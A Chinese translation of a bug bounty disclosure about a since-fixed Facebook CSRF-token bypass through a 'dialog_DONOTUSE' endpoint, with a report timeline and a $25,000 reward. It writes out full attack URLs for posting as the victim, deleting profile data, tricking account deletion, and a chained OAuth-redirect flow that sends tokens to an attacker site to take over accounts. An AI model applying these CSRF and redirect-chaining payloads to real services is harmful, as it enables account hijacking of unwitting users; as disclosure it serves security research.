绕过Facebook的CSRF防御——25000美金

我发现的这个漏洞可允许攻击者无视Facebook的CSRF令牌限制，诱导受害者向Facebook发送具有安全威胁的请求，导致受害者帐户被攻击者接管。当然，攻击者必须欺骗目标点击恶意链接。

示例

该漏洞主要涉及到Facebook主站下的一个端点。该端点会把攻击者所选定的另一个Facebook端点作为参数，在附加了fb_dtsg参数后向该端点发出POST请求。此外，由于该端点位于主域www.facebook.com下，使得普通用户更容易受到欺骗，从而访问恶意链接。

此次存在漏洞的端点是：

https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX

其中XXXX是攻击者指定的端点，该URL被点击后就会向XXXX发出POST请求。值得注意的是，此时CSRF令牌fb_dtsg会自动添加到请求的主体中。

这就使得受害者在访问这个网址时易受到多种攻击：

发表文章：

https://www.facebook.com/comet/dialog_DONOTUSE/?url=/api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}

删除预设图片：

https://www.facebook.com/comet/dialog_DONOTUSE/?url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID}

欺骗用户删除它们的帐户（利用“locale”参数更改页面语言迷惑用户）

https://www.facebook.com/comet/dialog_DONOTUSE/?url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR

该URL会触发一个密码确认对话框，如果受害者输入密码，那么他的帐户将被删除。

帐户接管

为了接管账户，我们必须能够向受害者的帐户添加新的关联电子邮件地址或电话号码。但问题是，要完成这个操作，必须诱导受害者访问两个独立的URL，一个是用于添加电子邮件/电话，另一个是用于确认它。因为正常添加电子邮件或电话号码的端点是没有类似“next”的参数在发出请求后重定向用户的。

所以为了解决这个问题，我需要找到存在“next”参数的端点，这样就可以将攻击URL融合成一个。

1）我们先以用户身份授权攻击者的应用，然后重定向至https://www.facebook.com/v3.2/dialog/oauth，该端点将自动重定向至攻击者的网站（带有访问令牌，且这种攻击场景不需要受害者交互，因为该app已通过端点/ajax/appcenter/redirect_to_app获得授权）。

总结一下，就是将以下URL发送给受害者：

https://www.facebook.com/comet/dialog_DONOTUSE/?url=/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog

第一步很重要。它使用了端点/v3.2/dialog/oauth绕过facebook的重定向保护机制linkshim。其次，通过攻击者网站接收到的令牌识别每个受害者，这将有助于稍后提取特定用户的验证码。

2）攻击者网站接收受害者的访问请求中的令牌，并创建一个新的绑定验证邮件，将用户重定向，相关攻击URL如下：

https://www.facebook.com/comet/dialog_DONOTUSE/?url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]

此URL作用如下：

首先，它通过端点/add_contactpoint/dialog/submit/（不需要密码确认）将攻击者的电子邮件关联到受害者帐户。

之后，它将重定向到“next”参数中被选定的端点：

"/v3.2/dialog/oauth?response_type=token&client_id={ATTACKER_APP}&redirect_uri={ATTACKER_DOMAIN}"

最后它将附带用户的访问令牌再次重定向到攻击者的域名。

3）攻击者网站接收到访问令牌，提取其中的用户ID，找到电子邮件中的确认链接，然后再次重定向至：

https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH}

（CODE和HASH在攻击者收到的电子邮件中）

以上URL会让受害者会重定向到https://www.facebook.com/settings?section=email，而这个页面会暴露新添加的电子邮件，所以攻击者需要用具有“next”参数的/confirm_code/dialog/submit/端点进行确认，该参数可以将受害者重定向到主页。

4）电子邮件现已关联到到受害者帐户，攻击者可以重置密码并接管该帐户。

这个攻击链条看起来很长，但机器能在一瞬间完成，而且它不是针对特定用户，所有点击了第一步的恶意链接的任何人都会被攻击。（主要通过攻击者网站中的恶意脚本完成）

时间线

2019年1月26日——发送报告发送

2019年1月26日——Facebook确认

2019年1月28日——发送更多详细信息

2019年1月31日——Facebook修复

2019年2月12日——Facebook奖励25000美金

本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场
来源：https://ysamm.com/?p=185